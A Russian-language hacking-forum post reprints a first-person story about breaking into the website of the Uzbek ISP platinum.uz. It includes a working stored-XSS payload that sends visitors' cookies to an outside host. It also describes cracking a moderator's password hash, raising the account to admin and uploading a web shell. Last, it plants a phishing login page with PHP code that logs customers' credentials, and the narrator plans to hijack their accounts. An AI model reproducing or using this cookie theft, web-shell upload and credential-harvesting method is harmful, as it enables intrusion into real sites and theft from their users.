Форум АНТИЧАТ - Как был взломан крупнейший провайдер Узбекистана

Приветик всем! Вот нашла на Хакере такую статейку. Она меня очень заинтересовала и я ее по моему выучила наизусть, потому что живу в Узбекистане и сама пользовалась услугами ентого прова )))

Как был взломан крупнейший провайдер Узбекистана

Как-то раз я услышал от товарища, что провайдер, чьими услугами я пользуюсь, отдыхает и у нас в городе появился пров у которого и цены ниже и качество лучше, а также дал мне URL сайта. В этот же день я полез на сайт http://www.platinum.uz/ за более подробной информацией.

Просмотрев код страницы, я увидел комментарий "" и тут же смекнул, что движок сайта не самописный, и наверняка на него имеется сплоит. Обратившись к Всемирному Разуму я обнаружил, что движок дырявый как решето, но видать админы сайта были не совсем полными дураками и все запросы с ' фильтровались. Тут отпадал вариант с SQL-инъекциями и XSSами. Я нисколько не расстроился и продолжал лазить по сайту. Мне на глаза попалась любимая ссылка многих взломщиков - Форум. Как я узнал позже, форум был встроен в движок сайта. Зарегистрировавшись в нем я обнаружил, что форум довольно пустой и на нём около ста пользователей. В теме "Вопросы" я с улыбкой обнаружил checkbox с надписью "Выключить BBCode", что привело к составлению такой конструкции:

<IMG name=ximg height=1 width=1 src="javascript:document.ximg.src ='http://www.spiritsoul.hut1.ru/cgi-bin/cookie.cgi?' + document.cookie;">

Вскоре на моём сайте файл cookies.txt стал размером около 50 килобайт, среди сохранённых был и кукис модера, что меня очень обрадовало. Скормив его Md5-Inside'у я начал брутить цифры, побрутив до 9 знаков я остановился: юзвери очень редко ставят длинные числовые пароли. Брутить буквы я не хотел, так как не было времени, но к моему счастью я в друг вспомнил про один замечательный сайт для расшифровки паролей - http://www.PassCracking.ru/. На главной странице я ввёл хэш из сниффнутого кукиза который выглядел приблизительно так - ec0bc9b2324a406a32e320c73901561f - и нажал 'Do it!' К моему удивлению пассворд успешно подобрался. Pandemonium - обитель демонов. Такой страшный и ужасный пароль был у мелкого модератора по имени "LOB". Я с удовольствием зашёл в админку. Побродив по админке, я с огромнейшим удивлением узнал, что модератор мог делать абсолютно всё: менять имена, личные данные и даже подписи пользователей, менять пароли админам, мог понизить админа до пользователя и наоборот. Я повысил свои права с модера до админа и нажал "Обновить". Оказывается, админу можно было заливать файлы, включать доп. модули и конечно дефейсить сайт :). Делать дефейс сейчас я не хотел, сейчас я хотел залить шелл на сервер, естественно я использовал шелл от всеми любимой RST. Обратившись Браузером к http://www.platinum.uz/uploads/shell.php
я увидел лишь ошибку - PHP работал в safe_mode. И самое ценное, что я извлёк из шелла это то, что на сервере винчестер был в 80 GB, причём 15 из них были свободны. Следующее, что я попробовал - залить шелл на перле, но обратившись к нему услышал лишь "Access Forbidden".Хотя я немного и огорчился, cдаваться я даже и не думал. Ко мне пришла колоссальная мысль: поменять на главной странице ссылку на персональный кабинет на ссылку на мой сайт, прибавить немного фишинга и...

Так как большинство пользователей заходят на сайт по гостевому входу, то до моего сайта они вряд ли достучатся, а вот если переместить ссылку в то место, куда я заливал шеллы, то все логины и пароли от Интернета точно будут моими. Скопировав страницу персонального кабинета и добавив в неё немного PHP-кода

<?
$x=fopen("pincodes.txt","a+");
$enter = "\r\n" ;
fwrite($x,$QUERY_STRING);
fwrite($x,$enter);
fclose($x);
?>

я залил все страницы в http://www.platinum.uz/uploads/. На следующий день, обратившись к pincodes.txt, я увидел кучу разных логинов и паролей. Закачав себе этот файл я понял, что добыл 200 килобайт чистого Интернета. Дело оставалось за малым - поменять пассы всем юзверям и целыми днями лазить по Инету.